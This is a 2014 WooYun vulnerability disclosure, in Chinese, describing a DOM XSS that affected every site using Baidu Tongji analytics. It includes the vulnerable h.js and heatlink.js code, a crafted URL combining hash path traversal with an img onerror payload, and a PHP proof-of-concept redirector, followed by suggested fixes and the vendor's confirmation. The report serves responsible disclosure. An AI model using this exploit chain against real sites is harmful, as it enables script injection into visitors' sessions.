当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079034

漏洞标题:百度统计代码缺陷导致所有使用百度统计的网站均存在DOM XSS(以乌云主站为例说明)

相关厂商:百度

漏洞作者: gainover

提交时间:2014-10-11 22:32

修复时间:2014-11-25 22:34

公开时间:2014-11-25 22:34

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-11: 细节已通知厂商并且等待厂商处理中
2014-10-13: 厂商已经确认,细节仅向厂商公开
2014-10-23: 细节向核心白帽子及相关领域专家公开
2014-11-02: 细节向普通白帽子公开
2014-11-12: 细节向实习白帽子公开
2014-11-25: 细节向公众公开

简要描述:

前前后后找了半年多时间,总算搞定了。前面发的百度统计XXE漏洞都是为了找这个漏洞得到的副产品,哈哈

详细说明:

1. 在乌云众测测试ucloud之时,发现对方使用了百度统计,调用了http://hm.baidu.com/h.js 这个文件,其中有以下一段代码:

var O = document.location.hash.substring(1), va = RegExp(c.id), wa = -1 < document.referrer.indexOf("baidu.com") ? l : n;
if (O && va.test(O) && wa) {
var P = document.createElement("script");
P.setAttribute("type",
"text/javascript");
P.setAttribute("charset", "utf-8");
P.setAttribute("src", S + "//" + c.js + C(O, "jn") + "." + C(O, "sx") + "?" + a.a.rnd);
var ga = document.getElementsByTagName("script")[0];
ga.parentNode.insertBefore(P, ga)
}


这段代码里可以看到, O为地址的hash,C函数从O里获取jn参数以及sx参数,随后jn参数和sx参数进入P的src属性,而P为script对象。
也就是说,P.src="http://tongji.baidu.com/hm-web/js/jn参数.sx参数?随机数"
2. 要进入上面的代码流程,我们需要满足if (O && va.test(O) && wa)的判断,即我们需要构造合适的O参数以及wa参数,wa参数又来自于wa = -1 < document.referrer.indexOf("baidu.com") ? l : n这个判断,这2个东西都还是很好满足的,暂且不论。接着我们要考虑的是hash中的jn参数和sx参数,我们仅考虑其中一个。
如果我们控制jn参数为 ../../../xxxx.php,而xxxx.php的内容又是我们可控的,我们就可以让页面执行我们指定的JS代码了。
当然这个想法是好的,但要在一个域名下要找到这样的点似乎十分困难。
3. 对于这种情况,我们有以下几种可能的手段。
A. jsonp接口,且callback参数中的()未被过滤
B. 302跳转,且跳转的url参数未限制域名
C. 任意文件上传
D. tongji.baidu.com域名下存在一个xxxx.js,且xxxx.js的代码存在缺陷,可以导致XSS
4. 然后我们顺着这几个手段来尝试,尝试结果如下:
A. tongji.baidu.com域名下未能发现jsonp的使用,因此放弃
B. tongji.baidu.com域名下的各种功能中未能发现302跳转,因此放弃
C. 找到一个任意文件上传的点,但是需要通过xxxx.php?type=a&name=11111.xxx&mmm=mmm的形式来访问,而jn参数的url中并不能使用&,具体请查看h.js中C函数的代码可知原因,不具体说明了。并且URL里多个参数均为必须,不能去掉,因此在思考很久未发现解决办法后,同样放弃。
D. 在此之前,我发现tongji.baidu.com下的JS文件大部分均使用了tangram的JS库来开发,也就是说,调用这些JS基本上是无法直接执行的,因为目标站中并没有调用tangram的主JS文件。因此之前此路也是放弃的。
5. 然而,在盯了半年之后,今天又按照D思路,打开了tongji.baidu.com,挨个功能点过去,并且抓包排查网站所调用的JS时,发现了一个似乎没有调用tangram的JS:http://tongji.baidu.com/hm-web/js/heatlink.js,在对代码进行美化处理后,在代码的最下方,我看到了location.hash,以及字符串的拼接。想想就有点小激动哦~~

var L = document.location.hash.substring(1);
var K = d("cla", L);
var J = d("clb", L);
var I = H(E.flashId, E.flashUrl + "?" + l(8), "1", "1", "allowdomain=" + document.domain + "&cla=" + K + "&clb=" + J + "&callBack=" + E.flashCallBack);


于是马上写了一个html,调用这个JS文件,并进行了测试,成功执行代码:

1.jpg


6. 这样一来,我们的D思路就是实现了,总结一下,以乌云为例,我们可以构造以下url:

http://www.wooyun.org/#c12f88b5c1cd041a732dea597a5ec94c&jn=../../../../hm-web/js/heatlink.js?&cla="></object><img src="1" onerror="alert(document.domain)">


其中 #c12f88b5c1cd041a732dea597a5ec94c 这串数字来自于目标网站的统计id,该代码可以通过PHP来从目标页面自动获取。加上这串数字,是为了满足代码里的 va.test(O)判断, jn参数被指定为 ../../../../hm-web/js/heatlink.js?, 即最终
P.src="http://tongji.baidu.com/hm-web/js/../../../../hm-web/js/heatlink.js?.sx参数?随机数"
页面会调用heatlink.js,而该JS又存在DOM-XSS缺陷,会将我们指定的cla="></object><img src="1" onerror="alert(document.domain)"> 参数内容输出到DOM中,从而导致xss
为了满足 wa = -1 < document.referrer.indexOf("baidu.com") ? l : n ,我们需要让访问来源URL里带上baidu.com,这个很容易解决。从一个带有 ?baidu.com的URL跳转过去即可,具体参见漏洞证明中的url。
7. 最终我们可以编写以下PoC代码 (php):

<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<?php
$url=$_GET["url"];
$data=file_get_contents($url);
$result=array();
if(preg_match("/hm\.baidu\.com\/h\.js%3F(\w{32})/",$data,$result)){
if($result[1]){
$cid=$result[1];
$url=preg_replace("/'/","%27",$url);
$url=preg_replace("/\\\\/","%5c",$url);
?>
<script>
location.href='<?php echo $url?>#<?php echo $cid?>&jn=../../../../hm-web/js/heatlink.js?&cla="></object><img src="1" onerror="alert(document.domain)">';
</script>
<?
}else{
echo "missing c.id";
}
}else{
echo "missing c.id";
}
?>
</body>
</html>

漏洞证明:

1. 以乌云主站为例:
访问以下URL:http://xsst.sinaapp.com/test/baidutongji.poc.php?baidu.com&url=http://www.wooyun.org/

2.jpg


2. IE下也是可以的,浏览器通用性好。

4.jpg


3. 为了证明其普遍危害,在用户列表里又找了一个用户 汽车之家

3.jpg

修复方案:

1. 对传入的jn参数即sx参数进行有效性判断。
2. 修复 /hm-web/js/heatlink.js中的dom xss问题

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-10-13 11:33

厂商回复:

感谢提交,我们已经通知业务部门处理此问题。

最新状态:

暂无